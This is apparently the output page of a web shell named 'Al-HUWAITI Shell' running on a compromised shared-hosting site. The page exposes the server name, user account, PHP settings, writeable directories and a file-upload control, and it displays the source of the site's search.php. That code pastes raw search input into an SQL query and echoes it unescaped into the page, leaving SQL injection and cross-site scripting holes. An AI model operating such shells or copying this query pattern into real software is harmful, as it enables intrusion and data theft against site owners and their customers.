Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/public_html/search.php
<?php session_start();
$page_name = basename($_SERVER['PHP_SELF']); 
include("header.php"); ?>
<title><?php echo $company_name; ?> - Search</title>
<div class="col-md-12 col-xs-12" id="product_msg"></div>
<?php
if(isset($_POST["search_for"])){
	$search_term1 = $_POST["search"];
	$search_term = trim("$search_term1");
}
?>

    <!-- Start All Title Box -->
    <div class="all-title-box">
        <div class="container">
            <div class="row">
                <div class="col-lg-12">
                    <h2>Search</h2>
                    <ul class="breadcrumb">
                        <li class="breadcrumb-item"><a href="#">Home</a></li>
                        <li class="breadcrumb-item active">Search</li>
                    </ul>
                </div>
            </div>
        </div>
    </div>
    <!-- End All Title Box -->

    <!-- Start Shop Page  -->
    <div class="shop-box-inner">
        <div class="container">
            <div class="row">
                <div class="col-xl-12 col-lg-12 col-sm-12 col-xs-12 shop-content-right">Enter your query here
<form  action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>" method="post" id="">
						<div class="row">
								<div class="col-md-12">
										<div class="form-group">
												<input type="text" class="form-control" name="search" placeholder="Search" required>
										</div>
								</div>
								
								<div class="col-md-12">
										
										<div class="submit-button text-center">
												<button class="btn hvr-hover" id="submit" type="submit" name='search_for'>Search</button>
												<div id="msgSubmit" class="h3 text-center hidden"></div>
												<div class="clearfix"></div>
										</div>
								</div>
						</div>
				</form>
                    <div class="right-product-box">  

                        <div class="product-categorie-box">
                            <div class="tab-content">
                                <div role="tabpanel" class="tab-pane fade show active" id="grid-view">
																<div class="row">
	<?php
	if(isset($_POST["search_for"])){					
	$product_query = "SELECT * FROM products WHERE 
	product_keywords LIKE '%$search_term%'";
	$run_query = mysqli_query($con,$product_query);
	$numrows = mysqli_num_rows($run_query);
	if(mysqli_num_rows($run_query) > 0){
		echo"
	<div class='col-sm-12 col-md-12 col-lg-12 col-xl-12'>
	<form method='post' action='index.php'>
		<div class='headi'><h5>You searched for <span>\"$search_term\"</span>, $numrows result(s) found.</h5></div>
		<input class='btn credit-btn mt-30' style='width:30%;' type='submit' name='back' value='Back'><br><br>
	</form>
	<br/>
	</div><br><br>
	
	";
		while($row = mysqli_fetch_array($run_query)){
			$product_id    = $row['product_id'];
			$product_cat   = $row['product_cat'];
			$pro_brand = $row['product_brand'];
			$product_title = $row['product_title'];
			$product_price = $row['product_price'];
			$product_image = $row['product_image'];
			$old_price = $row['old_price'];
			$new_tag = $row['new'];
			$in_stock = $row['in_stock'];

			//calculate the rating of each product
			$stmt_reviews1 = $con -> prepare('SELECT rating FROM product_reviews WHERE product_id = ?');
			$stmt_reviews1 -> bind_param('s',$product_id);
			$stmt_reviews1 -> execute(); 
			$stmt_reviews1 -> store_result();
			$stmt_reviews1 -> bind_result($product_rating); 
			$numrows_reviews1 = $stmt_reviews1 -> num_rows();
			if($numrows_reviews1 > 0){
					$total_rating = array();
					while ($stmt_reviews1 -> fetch()) {
							array_push($total_rating,$product_rating);
					}
					$all_ratings = array_sum($total_rating);
					$average_rating = $all_ratings / $numrows_reviews1;
					$rounded_up = round($average_rating);
					$rating_display = " &nbsp;$rounded_up / 5";
			}
			else{$rating_display = "";$rounded_up = 0;}
				
			echo"<div class='col-sm-3 col-md-3 col-lg-3 col-xl-3'>";
			include("product.php");
			echo"</div>";
			
			
		}
	}
	else{echo"
	<form method='post' action=''>
		<div class='headi'><h5>You searched for <span>\"$search_term\"</span>, $numrows result(s) found.</h5></div>
		<input class='btn credit-btn mt-30' style='width:100px;' type='submit' name='back' value='Back'> 
	</form>
	<br/> <br>
	";}
	}
?>	
</div>
                                </div>
                                
                            </div>
                        </div>
                    </div>
                    

				
            </div>
        </div>
    </div>
    <!-- End Shop Page -->
<br>
    <?php //include("ig_feed.php"); 
		?> 

<?php include("footer.php"); ?>

Al-HUWAITI Shell